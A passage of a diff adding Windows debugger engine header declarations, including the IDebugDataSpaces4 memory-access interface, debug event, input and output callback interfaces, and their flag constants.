DataSize + ) PURE; + STDMETHOD(ReadProcessorSystemData)( + THIS_ + __in ULONG Processor, + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + + // IDebugDataSpaces2. + + STDMETHOD(VirtualToPhysical)( + THIS_ + __in ULONG64 Virtual, + __out PULONG64 Physical + ) PURE; + // Returns the physical addresses for the + // N levels of the systems paging structures. + // Level zero is the starting base physical + // address for virtual translations. + // Levels one-(N-1) will point to the appropriate + // paging descriptor for the virtual address at + // the given level of the paging hierarchy. The + // exact number of levels depends on many factors. + // The last level will be the fully translated + // physical address, matching what VirtualToPhysical + // returns. If the address can only be partially + // translated S_FALSE is returned. + STDMETHOD(GetVirtualTranslationPhysicalOffsets)( + THIS_ + __in ULONG64 Virtual, + __out_ecount_opt(OffsetsSize) PULONG64 Offsets, + __in ULONG OffsetsSize, + __out_opt PULONG Levels + ) PURE; + + // System handle data is accessible in certain + // debug sessions. The particular data available + // varies from session to session and platform + // to platform. + STDMETHOD(ReadHandleData)( + THIS_ + __in ULONG64 Handle, + __in ULONG DataType, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + + // Fills memory with the given pattern. + // The fill stops at the first non-writable byte. + STDMETHOD(FillVirtual)( + THIS_ + __in ULONG64 Start, + __in ULONG Size, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __out_opt PULONG Filled + ) PURE; + STDMETHOD(FillPhysical)( + THIS_ + __in ULONG64 Start, + __in ULONG Size, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __out_opt PULONG Filled + ) PURE; + + // Queries virtual memory mapping information given + // an address similarly to the Win32 API VirtualQuery. + // MEMORY_BASIC_INFORMATION64 is defined in crash.h. + // This method currently only works for user-mode sessions. + STDMETHOD(QueryVirtual)( + THIS_ + __in ULONG64 Offset, + __out PMEMORY_BASIC_INFORMATION64 Info + ) PURE; + + // IDebugDataSpaces3. + + // Convenience method for reading an image + // header from virtual memory. Given the + // image base, this method determines where + // the NT headers are, validates the necessary + // markers and converts the headers into + // 64-bit form for consistency. + // A caller can check whether the headers were + // originally 32-bit by checking the optional + // header magic value. + // This method will not read ROM headers. + STDMETHOD(ReadImageNtHeaders)( + THIS_ + __in ULONG64 ImageBase, + __out PIMAGE_NT_HEADERS64 Headers + ) PURE; + + // Some debug sessions have arbitrary additional + // data available. For example, additional dump + // information files may contain extra information + // gathered at the same time as the primary dump. + // Such information is tagged with a unique identifier + // and can only be retrieved via the tag. + // Tagged data cannot be partially available; the + // tagged block is either fully present or completely + // absent. + STDMETHOD(ReadTagged)( + THIS_ + __in LPGUID Tag, + __in ULONG Offset, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG TotalSize + ) PURE; + STDMETHOD(StartEnumTagged)( + THIS_ + __out PULONG64 Handle + ) PURE; + STDMETHOD(GetNextTagged)( + THIS_ + __in ULONG64 Handle, + __out LPGUID Tag, + __out PULONG Size + ) PURE; + STDMETHOD(EndEnumTagged)( + THIS_ + __in ULONG64 Handle + ) PURE; +}; + +#define DEBUG_OFFSINFO_VIRTUAL_SOURCE 0x00000001 + +#define DEBUG_VSOURCE_INVALID 0x00000000 +#define DEBUG_VSOURCE_DEBUGGEE 0x00000001 +#define DEBUG_VSOURCE_MAPPED_IMAGE 0x00000002 +#define DEBUG_VSOURCE_DUMP_WITHOUT_MEMINFO 0x00000003 + +#define DEBUG_VSEARCH_DEFAULT 0x00000000 +#define DEBUG_VSEARCH_WRITABLE_ONLY 0x00000001 + +#define DEBUG_PHYSICAL_DEFAULT 0x00000000 +#define DEBUG_PHYSICAL_CACHED 0x00000001 +#define DEBUG_PHYSICAL_UNCACHED 0x00000002 +#define DEBUG_PHYSICAL_WRITE_COMBINED 0x00000003 + +#undef INTERFACE +#define INTERFACE IDebugDataSpaces4 +DECLARE_INTERFACE_(IDebugDataSpaces4, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugDataSpaces. + + STDMETHOD(ReadVirtual)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtual)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // SearchVirtual searches the given virtual + // address range for the given pattern. PatternSize + // gives the byte length of the pattern and PatternGranularity + // controls the granularity of comparisons during + // the search. + // For example, a DWORD-granular search would + // use a pattern granularity of four to search by DWORD + // increments. + STDMETHOD(SearchVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Length, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __in ULONG PatternGranularity, + __out PULONG64 MatchOffset + ) PURE; + // These methods are identical to Read/WriteVirtual + // except that they avoid the kernel virtual memory + // cache entirely and are therefore useful for reading + // virtual memory which is inherently volatile, such + // as memory-mapped device areas, without contaminating + // or invalidating the cache. + // In user-mode they are the same as Read/WriteVirtual. + STDMETHOD(ReadVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteVirtualUncached)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + // The following two methods are convenience + // methods for accessing pointer values. + // They automatically convert between native pointers + // and canonical 64-bit values as necessary. + // These routines stop at the first failure. + STDMETHOD(ReadPointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __out_ecount(Count) PULONG64 Ptrs + ) PURE; + STDMETHOD(WritePointersVirtual)( + THIS_ + __in ULONG Count, + __in ULONG64 Offset, + __in_ecount(Count) PULONG64 Ptrs + ) PURE; + // All non-virtual data spaces are only + // available when kernel debugging. + STDMETHOD(ReadPhysical)( + THIS_ + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WritePhysical)( + THIS_ + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteControl)( + THIS_ + __in ULONG Processor, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteIo)( + THIS_ + __in ULONG InterfaceType, + __in ULONG BusNumber, + __in ULONG AddressSpace, + __in ULONG64 Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(ReadMsr)( + THIS_ + __in ULONG Msr, + __out PULONG64 Value + ) PURE; + STDMETHOD(WriteMsr)( + THIS_ + __in ULONG Msr, + __in ULONG64 Value + ) PURE; + STDMETHOD(ReadBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteBusData)( + THIS_ + __in ULONG BusDataType, + __in ULONG BusNumber, + __in ULONG SlotNumber, + __in ULONG Offset, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(CheckLowMemory)( + THIS + ) PURE; + STDMETHOD(ReadDebuggerData)( + THIS_ + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + STDMETHOD(ReadProcessorSystemData)( + THIS_ + __in ULONG Processor, + __in ULONG Index, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + + // IDebugDataSpaces2. + + STDMETHOD(VirtualToPhysical)( + THIS_ + __in ULONG64 Virtual, + __out PULONG64 Physical + ) PURE; + // Returns the physical addresses for the + // N levels of the systems paging structures. + // Level zero is the starting base physical + // address for virtual translations. + // Levels one-(N-1) will point to the appropriate + // paging descriptor for the virtual address at + // the given level of the paging hierarchy. The + // exact number of levels depends on many factors. + // The last level will be the fully translated + // physical address, matching what VirtualToPhysical + // returns. If the address can only be partially + // translated S_FALSE is returned. + STDMETHOD(GetVirtualTranslationPhysicalOffsets)( + THIS_ + __in ULONG64 Virtual, + __out_ecount_opt(OffsetsSize) PULONG64 Offsets, + __in ULONG OffsetsSize, + __out_opt PULONG Levels + ) PURE; + + // System handle data is accessible in certain + // debug sessions. The particular data available + // varies from session to session and platform + // to platform. + STDMETHOD(ReadHandleData)( + THIS_ + __in ULONG64 Handle, + __in ULONG DataType, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG DataSize + ) PURE; + + // Fills memory with the given pattern. + // The fill stops at the first non-writable byte. + STDMETHOD(FillVirtual)( + THIS_ + __in ULONG64 Start, + __in ULONG Size, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __out_opt PULONG Filled + ) PURE; + STDMETHOD(FillPhysical)( + THIS_ + __in ULONG64 Start, + __in ULONG Size, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __out_opt PULONG Filled + ) PURE; + + // Queries virtual memory mapping information given + // an address similarly to the Win32 API VirtualQuery. + // MEMORY_BASIC_INFORMATION64 is defined in crash.h. + // This method currently only works for user-mode sessions. + STDMETHOD(QueryVirtual)( + THIS_ + __in ULONG64 Offset, + __out PMEMORY_BASIC_INFORMATION64 Info + ) PURE; + + // IDebugDataSpaces3. + + // Convenience method for reading an image + // header from virtual memory. Given the + // image base, this method determines where + // the NT headers are, validates the necessary + // markers and converts the headers into + // 64-bit form for consistency. + // A caller can check whether the headers were + // originally 32-bit by checking the optional + // header magic value. + // This method will not read ROM headers. + STDMETHOD(ReadImageNtHeaders)( + THIS_ + __in ULONG64 ImageBase, + __out PIMAGE_NT_HEADERS64 Headers + ) PURE; + + // Some debug sessions have arbitrary additional + // data available. For example, additional dump + // information files may contain extra information + // gathered at the same time as the primary dump. + // Such information is tagged with a unique identifier + // and can only be retrieved via the tag. + // Tagged data cannot be partially available; the + // tagged block is either fully present or completely + // absent. + STDMETHOD(ReadTagged)( + THIS_ + __in LPGUID Tag, + __in ULONG Offset, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG TotalSize + ) PURE; + STDMETHOD(StartEnumTagged)( + THIS_ + __out PULONG64 Handle + ) PURE; + STDMETHOD(GetNextTagged)( + THIS_ + __in ULONG64 Handle, + __out LPGUID Tag, + __out PULONG Size + ) PURE; + STDMETHOD(EndEnumTagged)( + THIS_ + __in ULONG64 Handle + ) PURE; + + // IDebugDataSpaces4. + + // General information about an address in the given data space. + // Queries are from DEBUG_OFFSINFO_*. + STDMETHOD(GetOffsetInformation)( + THIS_ + __in ULONG Space, + __in ULONG Which, + __in ULONG64 Offset, + __out_bcount_opt(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG InfoSize + ) PURE; + + // Given a particular address, return the + // next address which has a different validity. + // For example, in debug sessions such as a live + // user-mode session where virtual address validity + // changes from page to page this will return the + // page after the given page. In sessions such as + // a user-mode dump file where validity can change + // from byte to byte this will return the start of + // the next region that has different validity. + STDMETHOD(GetNextDifferentlyValidOffsetVirtual)( + THIS_ + __in ULONG64 Offset, + __out PULONG64 NextOffset + ) PURE; + + // Given a particular range of virtual addresses, + // find the first region which is valid memory. + STDMETHOD(GetValidRegionVirtual)( + THIS_ + __in ULONG64 Base, + __in ULONG Size, + __out PULONG64 ValidBase, + __out PULONG ValidSize + ) PURE; + + STDMETHOD(SearchVirtual2)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Length, + __in ULONG Flags, + __in_bcount(PatternSize) PVOID Pattern, + __in ULONG PatternSize, + __in ULONG PatternGranularity, + __out PULONG64 MatchOffset + ) PURE; + + // Attempts to read a multi-byte string + // starting at the given virtual address. + // The possible string length, including terminator, + // is capped at the given max size. + // If a return buffer is given it will always + // be terminated. + STDMETHOD(ReadMultiByteStringVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG MaxBytes, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringBytes + ) PURE; + // Reads a multi-byte string and converts + // it to Unicode using the given code page. + STDMETHOD(ReadMultiByteStringVirtualWide)( + THIS_ + __in ULONG64 Offset, + __in ULONG MaxBytes, + __in ULONG CodePage, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringBytes + ) PURE; + STDMETHOD(ReadUnicodeStringVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG MaxBytes, + __in ULONG CodePage, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringBytes + ) PURE; + STDMETHOD(ReadUnicodeStringVirtualWide)( + THIS_ + __in ULONG64 Offset, + __in ULONG MaxBytes, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringBytes + ) PURE; + + STDMETHOD(ReadPhysical2)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WritePhysical2)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugEventCallbacks. +// +//---------------------------------------------------------------------------- + +// Interest mask bits. +#define DEBUG_EVENT_BREAKPOINT 0x00000001 +#define DEBUG_EVENT_EXCEPTION 0x00000002 +#define DEBUG_EVENT_CREATE_THREAD 0x00000004 +#define DEBUG_EVENT_EXIT_THREAD 0x00000008 +#define DEBUG_EVENT_CREATE_PROCESS 0x00000010 +#define DEBUG_EVENT_EXIT_PROCESS 0x00000020 +#define DEBUG_EVENT_LOAD_MODULE 0x00000040 +#define DEBUG_EVENT_UNLOAD_MODULE 0x00000080 +#define DEBUG_EVENT_SYSTEM_ERROR 0x00000100 +#define DEBUG_EVENT_SESSION_STATUS 0x00000200 +#define DEBUG_EVENT_CHANGE_DEBUGGEE_STATE 0x00000400 +#define DEBUG_EVENT_CHANGE_ENGINE_STATE 0x00000800 +#define DEBUG_EVENT_CHANGE_SYMBOL_STATE 0x00001000 + +// SessionStatus flags. +// A debuggee has been discovered for the session. +#define DEBUG_SESSION_ACTIVE 0x00000000 +// The session has been ended by EndSession. +#define DEBUG_SESSION_END_SESSION_ACTIVE_TERMINATE 0x00000001 +#define DEBUG_SESSION_END_SESSION_ACTIVE_DETACH 0x00000002 +#define DEBUG_SESSION_END_SESSION_PASSIVE 0x00000003 +// The debuggee has run to completion. User-mode only. +#define DEBUG_SESSION_END 0x00000004 +// The target machine has rebooted. Kernel-mode only. +#define DEBUG_SESSION_REBOOT 0x00000005 +// The target machine has hibernated. Kernel-mode only. +#define DEBUG_SESSION_HIBERNATE 0x00000006 +// The engine was unable to continue the session. +#define DEBUG_SESSION_FAILURE 0x00000007 + +// ChangeDebuggeeState flags. +// The debuggees state has changed generally, such +// as when the debuggee has been executing. +// Argument is zero. +#define DEBUG_CDS_ALL 0xffffffff +// Registers have changed. If only a single register +// changed, argument is the index of the register. +// Otherwise it is DEBUG_ANY_ID. +#define DEBUG_CDS_REGISTERS 0x00000001 +// Data spaces have changed. If only a single +// space was affected, argument is the data +// space. Otherwise it is DEBUG_ANY_ID. +#define DEBUG_CDS_DATA 0x00000002 + +// ChangeEngineState flags. +// The engine state has changed generally. +// Argument is zero. +#define DEBUG_CES_ALL 0xffffffff +// Current thread changed. This may imply a change +// of system and process also. Argument is the ID of the new +// current thread or DEBUG_ANY_ID if no thread is current. +#define DEBUG_CES_CURRENT_THREAD 0x00000001 +// Effective processor changed. Argument is the +// new processor type. +#define DEBUG_CES_EFFECTIVE_PROCESSOR 0x00000002 +// Breakpoints changed. If only a single breakpoint +// changed, argument is the ID of the breakpoint. +// Otherwise it is DEBUG_ANY_ID. +#define DEBUG_CES_BREAKPOINTS 0x00000004 +// Code interpretation level changed. Argument is +// the new level. +#define DEBUG_CES_CODE_LEVEL 0x00000008 +// Execution status changed. Argument is the new +// execution status. +#define DEBUG_CES_EXECUTION_STATUS 0x00000010 +// Engine options have changed. Argument is the new +// options value. +#define DEBUG_CES_ENGINE_OPTIONS 0x00000020 +// Log file information has changed. Argument +// is TRUE if a log file was opened and FALSE if +// a log file was closed. +#define DEBUG_CES_LOG_FILE 0x00000040 +// Default number radix has changed. Argument +// is the new radix. +#define DEBUG_CES_RADIX 0x00000080 +// Event filters changed. If only a single filter +// changed the argument is the filter's index, +// otherwise it is DEBUG_ANY_ID. +#define DEBUG_CES_EVENT_FILTERS 0x00000100 +// Process options have changed. Argument is the new +// options value. +#define DEBUG_CES_PROCESS_OPTIONS 0x00000200 +// Extensions have been added or removed. +#define DEBUG_CES_EXTENSIONS 0x00000400 +// Systems have been added or removed. The argument +// is the system ID. Systems, unlike processes and +// threads, may be created at any time and not +// just during WaitForEvent. +#define DEBUG_CES_SYSTEMS 0x00000800 +// Assembly/disassembly options have changed. Argument +// is the new options value. +#define DEBUG_CES_ASSEMBLY_OPTIONS 0x00001000 +// Expression syntax has changed. Argument +// is the new syntax value. +#define DEBUG_CES_EXPRESSION_SYNTAX 0x00002000 +// Text replacements have changed. +#define DEBUG_CES_TEXT_REPLACEMENTS 0x00004000 + +// ChangeSymbolState flags. +// Symbol state has changed generally, such +// as after reload operations. Argument is zero. +#define DEBUG_CSS_ALL 0xffffffff +// Modules have been loaded. If only a +// single module changed, argument is the +// base address of the module. Otherwise +// it is zero. +#define DEBUG_CSS_LOADS 0x00000001 +// Modules have been unloaded. If only a +// single module changed, argument is the +// base address of the module. Otherwise +// it is zero. +#define DEBUG_CSS_UNLOADS 0x00000002 +// Current symbol scope changed. +#define DEBUG_CSS_SCOPE 0x00000004 +// Paths have changed. +#define DEBUG_CSS_PATHS 0x00000008 +// Symbol options have changed. Argument is the new +// options value. +#define DEBUG_CSS_SYMBOL_OPTIONS 0x00000010 +// Type options have changed. Argument is the new +// options value. +#define DEBUG_CSS_TYPE_OPTIONS 0x00000020 + +#undef INTERFACE +#define INTERFACE IDebugEventCallbacks +DECLARE_INTERFACE_(IDebugEventCallbacks, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugEventCallbacks. + + // The engine calls GetInterestMask once when + // the event callbacks are set for a client. + STDMETHOD(GetInterestMask)( + THIS_ + __out PULONG Mask + ) PURE; + + // A breakpoint event is generated when + // a breakpoint exception is received and + // it can be mapped to an existing breakpoint. + // The callback method is given a reference + // to the breakpoint and should release it when + // it is done with it. + STDMETHOD(Breakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT Bp + ) PURE; + + // Exceptions include breaks which cannot + // be mapped to an existing breakpoint + // instance. + STDMETHOD(Exception)( + THIS_ + __in PEXCEPTION_RECORD64 Exception, + __in ULONG FirstChance + ) PURE; + + // Any of these values can be zero if they + // cannot be provided by the engine. + // Currently the kernel does not return thread + // or process change events. + STDMETHOD(CreateThread)( + THIS_ + __in ULONG64 Handle, + __in ULONG64 DataOffset, + __in ULONG64 StartOffset + ) PURE; + STDMETHOD(ExitThread)( + THIS_ + __in ULONG ExitCode + ) PURE; + + // Any of these values can be zero if they + // cannot be provided by the engine. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 Handle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in_opt PCSTR ModuleName, + __in_opt PCSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp, + __in ULONG64 InitialThreadHandle, + __in ULONG64 ThreadDataOffset, + __in ULONG64 StartOffset + ) PURE; + STDMETHOD(ExitProcess)( + THIS_ + __in ULONG ExitCode + ) PURE; + + // Any of these values may be zero. + STDMETHOD(LoadModule)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in_opt PCSTR ModuleName, + __in_opt PCSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp + ) PURE; + STDMETHOD(UnloadModule)( + THIS_ + __in_opt PCSTR ImageBaseName, + __in ULONG64 BaseOffset + ) PURE; + + STDMETHOD(SystemError)( + THIS_ + __in ULONG Error, + __in ULONG Level + ) PURE; + + // Session status is synchronous like the other + // wait callbacks but it is called as the state + // of the session is changing rather than at + // specific events so its return value does not + // influence waiting. Implementations should just + // return DEBUG_STATUS_NO_CHANGE. + // Also, because some of the status + // notifications are very early or very + // late in the session lifetime there may not be + // current processes or threads when the notification + // is generated. + STDMETHOD(SessionStatus)( + THIS_ + __in ULONG Status + ) PURE; + + // The following callbacks are informational + // callbacks notifying the provider about + // changes in debug state. The return value + // of these callbacks is ignored. Implementations + // can not call back into the engine. + + // Debuggee state, such as registers or data spaces, + // has changed. + STDMETHOD(ChangeDebuggeeState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) PURE; + // Engine state has changed. + STDMETHOD(ChangeEngineState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) PURE; + // Symbol state has changed. + STDMETHOD(ChangeSymbolState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugEventCallbacksWide +DECLARE_INTERFACE_(IDebugEventCallbacksWide, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugEventCallbacksWide. + + // The engine calls GetInterestMask once when + // the event callbacks are set for a client. + STDMETHOD(GetInterestMask)( + THIS_ + __out PULONG Mask + ) PURE; + + // A breakpoint event is generated when + // a breakpoint exception is received and + // it can be mapped to an existing breakpoint. + // The callback method is given a reference + // to the breakpoint and should release it when + // it is done with it. + STDMETHOD(Breakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT2 Bp + ) PURE; + + // Exceptions include breaks which cannot + // be mapped to an existing breakpoint + // instance. + STDMETHOD(Exception)( + THIS_ + __in PEXCEPTION_RECORD64 Exception, + __in ULONG FirstChance + ) PURE; + + // Any of these values can be zero if they + // cannot be provided by the engine. + // Currently the kernel does not return thread + // or process change events. + STDMETHOD(CreateThread)( + THIS_ + __in ULONG64 Handle, + __in ULONG64 DataOffset, + __in ULONG64 StartOffset + ) PURE; + STDMETHOD(ExitThread)( + THIS_ + __in ULONG ExitCode + ) PURE; + + // Any of these values can be zero if they + // cannot be provided by the engine. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 Handle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in_opt PCWSTR ModuleName, + __in_opt PCWSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp, + __in ULONG64 InitialThreadHandle, + __in ULONG64 ThreadDataOffset, + __in ULONG64 StartOffset + ) PURE; + STDMETHOD(ExitProcess)( + THIS_ + __in ULONG ExitCode + ) PURE; + + // Any of these values may be zero. + STDMETHOD(LoadModule)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in_opt PCWSTR ModuleName, + __in_opt PCWSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp + ) PURE; + STDMETHOD(UnloadModule)( + THIS_ + __in_opt PCWSTR ImageBaseName, + __in ULONG64 BaseOffset + ) PURE; + + STDMETHOD(SystemError)( + THIS_ + __in ULONG Error, + __in ULONG Level + ) PURE; + + // Session status is synchronous like the other + // wait callbacks but it is called as the state + // of the session is changing rather than at + // specific events so its return value does not + // influence waiting. Implementations should just + // return DEBUG_STATUS_NO_CHANGE. + // Also, because some of the status + // notifications are very early or very + // late in the session lifetime there may not be + // current processes or threads when the notification + // is generated. + STDMETHOD(SessionStatus)( + THIS_ + __in ULONG Status + ) PURE; + + // The following callbacks are informational + // callbacks notifying the provider about + // changes in debug state. The return value + // of these callbacks is ignored. Implementations + // can not call back into the engine. + + // Debuggee state, such as registers or data spaces, + // has changed. + STDMETHOD(ChangeDebuggeeState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) PURE; + // Engine state has changed. + STDMETHOD(ChangeEngineState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) PURE; + // Symbol state has changed. + STDMETHOD(ChangeSymbolState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugInputCallbacks. +// +//---------------------------------------------------------------------------- + +#undef INTERFACE +#define INTERFACE IDebugInputCallbacks +DECLARE_INTERFACE_(IDebugInputCallbacks, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugInputCallbacks. + + // A call to the StartInput method is a request for + // a line of input from any client. The returned input + // should always be zero-terminated. The buffer size + // provided is only a guideline. A client can return + // more if necessary and the engine will truncate it + // before returning from IDebugControl::Input. + // The return value is ignored. + STDMETHOD(StartInput)( + THIS_ + __in ULONG BufferSize + ) PURE; + // The return value is ignored. + STDMETHOD(EndInput)( + THIS + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugOutputCallbacks. +// +//---------------------------------------------------------------------------- + +#undef INTERFACE +#define INTERFACE IDebugOutputCallbacks +DECLARE_INTERFACE_(IDebugOutputCallbacks, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugOutputCallbacks. + + // This method is only called if the supplied mask + // is allowed by the clients output control. + // The return value is ignored. + STDMETHOD(Output)( + THIS_ + __in ULONG Mask, + __in PCSTR Text + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugOutputCallbacksWide +DECLARE_INTERFACE_(IDebugOutputCallbacksWide, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugOutputCallbacksWide. + + // This method is only called if the supplied mask + // is allowed by the clients output control. + // The return value is ignored. + STDMETHOD(Output)( + THIS_ + __in ULONG Mask, + __in PCWSTR Text + ) PURE; +}; + +// +// IDebugOutputCallbacks2 interest mask flags. +// + +// Indicates that the callback wants notifications +// of all explicit flushes. +#define DEBUG_OUTCBI_EXPLICIT_FLUSH 0x00000001 +// Indicates that the callback wants +// content in text form. +#define DEBUG_OUTCBI_TEXT 0x00000002 +// Indicates that the callback wants +// content in markup form. +#define DEBUG_OUTCBI_DML 0x00000004 + +#define DEBUG_OUTCBI_ANY_FORMAT 0x00000006 + +// +// Different kinds of output callback notifications +// that can be sent to Output2. +// + +// Plain text content, flags are below, argument is mask. +#define DEBUG_OUTCB_TEXT 0 +// Debugger markup content, flags are below, argument is mask. +#define DEBUG_OUTCB_DML 1 +// Notification of an explicit output flush, flags and argument are zero. +#define DEBUG_OUTCB_EXPLICIT_FLUSH 2 + +// +// Flags for various Output2 callbacks. +// + +// The content string was followed by an +// explicit flush. This flag will be used +// instead of a separate DEBUG_OUTCB_EXPLICIT_FLUSH +// callback when a flush has text to flush, +// thus avoiding two callbacks. +#define DEBUG_OUTCBF_COMBINED_EXPLICIT_FLUSH 0x00000001 + +// The markup content string has embedded tags. +#define DEBUG_OUTCBF_DML_HAS_TAGS 0x00000002 +// The markup content has encoded special characters like ", &, < and >. +#define DEBUG_OUTCBF_DML_HAS_SPECIAL_CHARACTERS 0x00000004 + +#undef INTERFACE +#define INTERFACE IDebugOutputCallbacks2 +DECLARE_INTERFACE_(IDebugOutputCallbacks2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID 